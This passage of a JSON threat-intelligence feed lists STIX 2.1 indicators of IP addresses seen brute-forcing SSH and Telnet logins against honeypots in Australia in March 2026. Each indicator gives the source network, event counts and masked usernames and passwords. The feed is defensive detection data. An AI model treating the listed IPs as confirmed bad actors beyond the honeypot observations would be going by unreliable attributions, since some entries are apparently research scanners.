      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--672fbe83-9d0c-4be1-a010-42bb3affc718",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.122.20.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T00:15:14.000Z",
      "valid_until": "2026-04-08T00:15:11.000Z"
    },
    {
      "created": "2026-03-07T00:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 214. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 265096. Organisation(s): PRGNET SERVICOS DE TELECOMUNICACOES. Usernames observed (masked): r**t, 3**********4, k*****e, s***m, **. Passwords observed (masked): 1**4, 3***********4, 3**********4, 1******8, @*******4.",
      "id": "indicator--0a90c4f1-8eec-4619-82cf-dee0d6a310ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.233.151.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T00:15:14.000Z",
      "valid_until": "2026-04-08T00:15:11.000Z"
    },
    {
      "created": "2026-03-07T00:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AM. ASN(s): 197834. Organisation(s): Ucom CJSC.",
      "id": "indicator--615cba90-b5cc-4837-bb8c-2feb9627d252",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.32.195.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T00:15:14.000Z",
      "valid_until": "2026-04-08T00:15:11.000Z"
    },
    {
      "created": "2026-03-07T00:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: NL. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--ceeadcf2-7d46-4f78-9fba-37b63048db07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.151.182.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T00:15:14.000Z",
      "valid_until": "2026-04-08T00:15:11.000Z"
    },
    {
      "created": "2026-03-07T00:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 34665. Organisation(s): Petersburg Internet Network ltd..",
      "id": "indicator--a0bd1a2a-dafc-4bcf-87cc-69bf53f0537b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.101.64.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T00:15:14.000Z",
      "valid_until": "2026-04-08T00:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 122. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, **, 3**********4, a***s, f******t. Passwords observed (masked): 3***********4, 3**********4, @*******5, @*******6, F*********3.",
      "id": "indicator--8a4d6190-b2e8-4a4d-b1c8-0b83f20c64b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.161.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 9658. Organisation(s): Eastern Telecoms Phils., Inc.. Usernames observed (masked): r**t, n**a, r**n. Passwords observed (masked): ***, @*******4, Z*******@, p******d.",
      "id": "indicator--0316db9e-7074-4c17-ba3a-fbe205393615",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.50.179.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 58. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, t***1, t***2, t***3. Passwords observed (masked): ***, ***, p**s, r*****3, r*****1.",
      "id": "indicator--3efc5d90-3a3e-42d6-9aca-ada1f0c33d94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.105.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 27843. Organisation(s): WIN EMPRESAS S.A.C.. Usernames observed (masked): a*****n, **, n**a, z***e. Passwords observed (masked): ***, 1***5, 1******8, M***3.",
      "id": "indicator--7cfd814c-2e0d-4c03-aa13-888ebddc2de9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.132.89.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--4ff3b4c8-24d1-411f-a8ee-1a92f17ead24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC.",
      "id": "indicator--4982f80f-ccd5-445d-a3cb-ed0dccb1c83b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.229.225.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, p*****k, 3**********4, a***n, ***. Passwords observed (masked): ***, ***, 1****6, 1******8, 3***********4.",
      "id": "indicator--5f89d7dd-fcf9-4d38-a0c7-8c4e07287230",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.227.152.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--14e6df64-993e-456d-a5c1-c5b3f60b2443",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--e5548a73-dbde-466c-8f15-33803c522c97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, r**t, 3**********4, b***n, l*****o. Passwords observed (masked): 1**4, 3***********4, 3**********4, @*******4, @*******5.",
      "id": "indicator--cbbd23cf-3dd9-4900-83a6-b2240ac60a3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.99.93.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 38731. Organisation(s): CHT Compamy Ltd. Usernames observed (masked): 3**********4, ***, r*****k, a***s, f******t. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1****6, @*******6.",
      "id": "indicator--6105ad08-3f10-4984-b4e1-6708b40ad265",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.244.61.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--5b10eeef-ca17-49cd-be39-2598a1f97fbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.155.90.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 267. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 16814. Organisation(s): NSS S.A.. Usernames observed (masked): 3**********4, a***n, b***n, z********g, a***e. Passwords observed (masked): 3***********4, 3**********4, 1**4, @*******5, A******3.",
      "id": "indicator--7dcdf783-c1a5-4244-a964-dad43a9d6bd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '200.69.236.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 267. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 14117. Organisation(s): Telefonica del Sur S.A.. Usernames observed (masked): 3**********4, a***n, a***e, i****l, b***n. Passwords observed (masked): 3***********4, 3**********4, 1**4, @*******5, A******3.",
      "id": "indicator--264e480a-9933-49b1-806f-15a8c0dffd66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.186.40.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--0a8dd39a-b18f-4a04-aab2-3ca728fd8bd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): ***, r**t, 3**********4, a***s, f******t. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, @*******6.",
      "id": "indicator--11860d54-568d-435b-8394-bb34ab53ba16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.163.5.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c0dce31f-eeca-43a3-bb5a-d8a3f64190af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.93.127.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): m***k, m****r, r**t. Passwords observed (masked): ***, 1****6, @*******6.",
      "id": "indicator--eb65745e-c392-495e-a0a1-b9782b4d2444",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.128.170.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--c2cd12ec-d62a-4742-970a-8721672a3b11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '54.196.157.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 191. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 54004. Organisation(s): Cablevision Lightpath LLC. Usernames observed (masked): r**t, 3**********4, a***e, a***n, b***n. Passwords observed (masked): 1**4, 3***********4, 3**********4, @*******4, @*******5.",
      "id": "indicator--6643f07c-4dbc-4e15-8e43-052a2a11c4d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '69.74.29.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 13490. Organisation(s): Buckeye Cablevision, Inc.. Usernames observed (masked): **, r**t, 3**********4, a******k, ***. Passwords observed (masked): 1**4, 1******8, 3***********4, 3**********4, @*******5.",
      "id": "indicator--4d58b6a4-7f8c-4a12-ab94-eaa7d21da961",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '72.240.125.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HU. ASN(s): 5483. Organisation(s): Magyar Telekom Plc.. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, a***n, g***t, r**t.",
      "id": "indicator--c220f788-90a5-4a38-a923-4c2369ee0e14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.183.192.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T01:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): p*****k, r**t, 3**********4, a***n, ***. Passwords observed (masked): ***, 1***5, 1****6, 1******8, 3***********4.",
      "id": "indicator--c821b115-e523-49f8-b660-1843e903867c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T01:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.99.123.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:15:23.000Z",
      "valid_until": "2026-04-08T01:15:11.000Z"
    },
    {
      "created": "2026-03-07T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 7562. Organisation(s): HCN Dongjak.",
      "id": "indicator--9bb40c2a-61fd-49c1-ac30-33e4dd69f73e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.235.199.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T02:15:14.000Z",
      "valid_until": "2026-04-08T02:15:12.000Z"
    },
    {
      "created": "2026-03-07T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--a653049e-e23e-4668-bb4c-861691a6e4b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T02:15:14.000Z",
      "valid_until": "2026-04-08T02:15:12.000Z"
    },
    {
      "created": "2026-03-07T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 668. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: OM. ASN(s): 28885. Organisation(s): Oman Telecommunications Company (S.A.O.G). Usernames observed (masked): r**t, o****e, u**r, ***, n***x. Passwords observed (masked): 1****6, a****3, *, ***, p******d.",
      "id": "indicator--b178d9e0-2ea6-4740-b17a-59aa4445648f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '212.72.14.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T02:15:14.000Z",
      "valid_until": "2026-04-08T02:15:12.000Z"
    },
    {
      "created": "2026-03-07T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation. Usernames observed (masked): r**t. Passwords observed (masked): k**********3.",
      "id": "indicator--c086d2f1-1bbc-416c-8015-48cb851baea6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.154.178.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T02:15:14.000Z",
      "valid_until": "2026-04-08T02:15:12.000Z"
    },
    {
      "created": "2026-03-07T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--78f9469c-4f1e-4aa3-83c6-7e5d905116e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '73.15.160.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T02:15:14.000Z",
      "valid_until": "2026-04-08T02:15:12.000Z"
    },
    {
      "created": "2026-03-07T03:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 18313. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--ee9f1cd5-5d9a-4635-b7cf-0e1bf0db73d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.11.45.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:15:13.000Z",
      "valid_until": "2026-04-08T03:15:11.000Z"
    },
    {
      "created": "2026-03-07T03:15:13.000Z",
